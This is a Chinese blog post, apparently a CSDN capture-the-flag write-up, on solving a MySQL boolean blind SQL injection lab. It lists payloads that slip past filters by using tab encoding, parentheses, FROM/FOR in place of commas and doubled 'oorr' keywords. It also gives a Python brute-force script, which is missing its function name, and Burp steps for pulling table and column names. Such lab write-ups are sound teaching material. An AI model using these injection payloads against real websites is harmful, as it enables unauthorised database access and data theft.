mysql bool盲注_bool盲注+各种姿势绕过过滤和替换

本文详细介绍了MySQL布尔型盲注的过程,包括利用Length()、Substr()等函数进行盲注,以及如何在遇到过滤和替换时采用不同姿势的绕过策略。在解决实际问题中,作者通过实验演示了如何通过调整payload来应对空格、逗号等字符被过滤的情况,最终成功爆破出数据库名、表名及字段。
摘要由CSDN通过智能技术生成

2ff34e647e2e3cdfd8dca593e17d9b0a.png

题目来源

题目界面比较简单,只让你输入id,输对了告诉你 You are in,输错了就 You are not in

可以想到这是一个盲注,经简单测试,提交字母a进不去,1可以。也就是说通过注入如果进去了,说明注入的语句成功执行,反之没有执行,典型的bool盲注

bool盲注的一般思路

一般来说,bool盲注通常是通过一位一位爆破字符来实现的,常用的函数如下:1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17Length()函数 返回字符串的长度

Substr() 截取字符串

SUBSTRING(str,pos,len)

SUBSTRING(str FROM pos FOR len)

SUBSTRING(str,pos)

SUBSTRING(str FROM pos) ****划重点****

mid(column_name,start[,length]) 类似substr

left(str, length) 从左开始截取字符串

right(str, length)

ascii() 返回字符串str的最左面字符的ASCII代码值

ord() 类似ascii,返回字符串第一个字符的ASCII 值

ELT(n,str1,str2,str3,...) 如果n=1,则返回str1,如果n=2,则返回str2,依次类推,没用过

concat() 字符串连接

group_concat()

解题思路

首先fuzz一波,发现1

2

3

4可用payload:

id=a'+or+'1 in

id=a'+or+'1'='2 not in

id=a'+or+(select+1)='1 in

很多东西被过滤了,比如:1空格 and || 井号 逗号 substr

(逗号都能过滤,wc)

而且经过测试发现不是说没被过滤(就是说界面没弹出SQL注入警告)你的语句就能正常执行了,下面我会说到,明明本地执行很成功,而且没有报警告,但就是没有效果、、、、

经过多次尝试,发现数据库长度这个可以搞:1id=a'+or+(select+(length(database()))>10)='1 #提示是in 经过测试,数据库名长度为18

接下来不出意外就是常规的bool盲注思路了,首先我用的是regexp注入,主要考虑的是substr被过滤了,下面是payload:1id=a'+or+(select+database()+regexp+'a[a-z0-9A-Z_]')='1

结果执行不了(本地是可以执行的)

回过头考虑 substr,因为逗号被过滤了,找了半天百度才发现可以用from替代,substr被过滤,mid可用,于是有以下payload1id=a'+or+(select+ascii(mid(database()+from+1))>64)='1

但还是GG了,

上面无法执行,原因是空格被过滤了,换一种1id=a+or+(select(ascii(mid(database()from(2)for(1)))=109))='1

看起来比较吊了吧,还是不行(•́へ•́╬)

换一换 ——>1id=a'+or+(select(mid(database()from(1))>'0'))='1 #可用(加上for(1)就不行,无语了)

这样也行1id=a'+or+(select(ascii(mid(database()from(1)))>ascii('W')))='1

个人觉得可能是空格问题,有的语句空格不能用加号替代,语句会有语法错误,但是又要区分出层次,于是就用 括号 绕过了

下面是爆破数据库名的脚本,跑完数据库名为—->ctf_sql_bool_blind:1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21import requests

url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'

def (payload):

data={}

data['submit']='submit'

data['id']=payload

r = requests.post(url,data)

if('You are not in' in r.content):

print payload

return 1

char = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'

char = list(char)

for i in range(1,19):

for j in char:

payload="a'+or+(select(ascii(mid(database()from("+str(i)+")))>ascii('"+j+"')))='1"

if(get_flag(payload)):

break

又见套路

接下来爆破表名,又要面对一个问题,即limit 0,1 中的空格和逗号问题,逗号可以绕过,但是空格加括号就不管用了。下面是测试的payload1

2id=a'+or+(select(ascii(mid((select table_name from information_schema.tables

where table_schema='ctf_sql_bool_blind' limit 1 offset 0)from(1)))>ascii('a'))='1

别的地方的空格可以用括号绕过去,但是limit那里是无论如何也不行,比如编码,tab制表符,%09,%0a都不行

只能换姿势了1

2id=a'+or+(select(ascii(mid((select(table_name)from(information_schema.tables)

where(table_schema='ctf_sql_bool_blind')&&(table_name)regexp('[a-z]$'))from(1)))>ascii('0')))='1

首先正则表达式匹配方式上从前往后匹配 ^ 这个符号被过滤了,所以考虑 $ 从后往前匹配。但是还是不行。

后来看了大佬的wp,没看太明白,但是有一点,题目不仅黑名单过滤了一些关键字,还对一些字符进行了替换。比如or和星号。(之前用/**/代替空格一直不行,原来原因在这)

那么这就要从审视一下之前用的payload了

最先用的 id=a’+or+’1 中or被替换后就变为了 id=a’++’1 ,那为什么也是in呢?经过本地测试,这句话确实是可以执行的。比如1select * from user where username='a'++'admin'

参数a是假的,但是admin是存在的话,就可以成功查询(具体语法还未深究)。所以上面的参数 id=a’++’1 中参数1 是确实可以查到的,因此显示you are in .

同时这也提醒我了加号貌似并能代替空格(不知道什么时候形成的误区),之前还奇怪为什么在本地执行时用加号替换空格不行呢,原因应该就是这了,二者不是可等价代换的。最多是某些特殊情况或位置或许有效。

接下来看我们爆破数据库名的payload是怎么成功执行的1id=a'+or+(select+(length(database()))>10)='1

首先本地测试下面这个payload:1

2

3select * from user where username='a'+or+(select+(length(database()))>10)='1'

--->

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'or+(select+(length(database()))>10)='1' LIMIT 0, 30' at line 1

带or是错误的。去掉or成功执行。

爆破数据库名的payload也是这个原理,sql执行的实际都是没有or的语句,而碰巧的是两个加号可以正常执行:1id=a'+or+(select(ascii(mid(database()from(1)))>ascii('W')))='1

那么非要用or呢,首先是绕过空格,其次是or被替换,因此有以下payload:1id=a'%09oorr%09(select(ascii(mid(database()from(1)))>ascii('W')))='1

成功执行,效果和+or+一样。

这样就可以解释前面一个悬案了,就是这个payload:1id=a'+or+(select(ascii(mid(database()from(2)for(1)))=109))='1

这也是爆破数据库名字的,但是mid函数里加了for(1)就不行,去了for反而可以。这就可以解释了,for里的or被替换为空了,导致语句出错,自然就不行了。可以考虑这样绕过:1

2

3id=a'+or+(select(ascii(mid(database()from(2)foorr(1)))=109))='1

id=a'%09oorr%09(select(ascii(mid(database()from(2)foorr(1)))=109))='1

知道错误原因就好办了,我们看之前一直执行不成功的payload:1

2id=a'+or+(select(ascii(mid((select(table_name)from(information_schema.tables)

where(table_schema='ctf_sql_bool_blind')limit 1 offset 0)from(1)))>ascii('a')))='1

首先空格用%09替换,此外容易忽视的information_schema中有or,因此要变为infoorrmation_schema. 可以看下面改造后的:1

2id=a'%09oorr%09(select(ascii(mid((select(table_name)from(infoorrmation_schema.tables)

where(table_schema='ctf_sql_bool_blind')limit%091%09offset%090)from(1)))>ascii('a')))='1

提示You are in。

wccccccccccccccccccc,内牛满面o(╥﹏╥)o。

每次改变from(1)里面的值

但是在用脚本时,可能是由于payload里的百分号解析问题,提交后服务器一直提示sql注入。所以换了工具,用burp的爆破模式,把position设为ascii(‘a’)中的a,字典在本地txt里编一个,a-z的字母和一些数字符号等。还有要注意的是burp抓包时最好是抓hackbar提交的包,那样post的内容就不会被编码了

最后爆出表名:fiag

再暴字段:1

2id=a'%09oorr%09(select(ascii(mid((select(column_name)from(infoorrmation_schema.columns)

where(table_name='fiag')limit%091%09offset%090)from(1)))=ascii('§a§')))='1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值